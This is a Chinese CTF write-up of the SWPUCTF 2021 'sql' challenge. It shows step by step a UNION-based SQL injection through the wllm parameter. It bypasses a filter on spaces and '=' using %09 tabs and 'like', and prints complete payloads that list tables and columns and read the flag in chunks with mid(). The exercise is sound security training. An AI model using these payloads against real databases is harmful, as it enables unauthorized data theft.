每日一题 —— [SWPUCTF 2021 新生赛]sql¶
打开是一张“杰哥”的图片,并且要求我们传入点东西。我们看到这个网页标题提示我们"参数是 wllm" 。 那么我们就尝试传入 wllm 看看。
直接使用 GET
方法,成功传入了 wllm
参数并且回显了用户名和密码。在根据题目描述,这是一道 sql 注入的题目。那么我们先测试注入类型。
可以看到,题目弹出不允许非法操作的提醒。我们知道我们需要先检查过滤。根据不断测试,我们知道这题的 waf 至少过滤了 =
和 空格
。那么没有关系,我们可以尝试使用 tab
绕过,也就是 %09
。(同理,这道题可以使用 /**/
注释绕过)。
可以发现,本题的注入点属于符号注入,那么我们直接猜测列数。
发现列数为 3 。那么我们尝试联合注入获取注入点。
发现回显了 2 和 3 。那么我们尝试获取数据库名。
数据库名为 test_db
,接下来获取表名。
?wllm=-1'%09union%09select%091,database(),group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09'test_db'%09%23
注意 =
已经不能使用了,那么我们使用模糊查找,也就是 like
。我们获得了表名为:LTLT_flag
,接下来获取列名。
?wllm=-1'%09union%09select%091,database(),group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09'LTLT_flag'%09%23
得知有个列名为 flag
,猜测其为目标的列,所以我们直接把他搜索出来。
最后发现,已经有回显 flag 了,但是并不全,数一数一共有 20 位。那么我们尝试使用 substring
函数进行截取,发现这个函数被过滤了。经过查询,我们使用 mid
函数进行截取。mid
函数的格式为 mid(str,start,length)
,有一点需要注意的是, start
参数的起始位置是 1 ,而不是 0 。所以我们这样修改 payload:
?wllm=-1'%09union%09select%091,database(),mid(group_concat(flag),1,20)%09from%09LTLT_flag%23
?wllm=-1'%09union%09select%091,database(),mid(group_concat(flag),21,20)%09from%09LTLT_flag%23
?wllm=-1'%09union%09select%091,database(),mid(group_concat(flag),41,20)%09from%09LTLT_flag%23
经过多次的查询,也是把 flag 所有的字符都给截取出来了,我们获得 flag 。
文章热度:0次阅读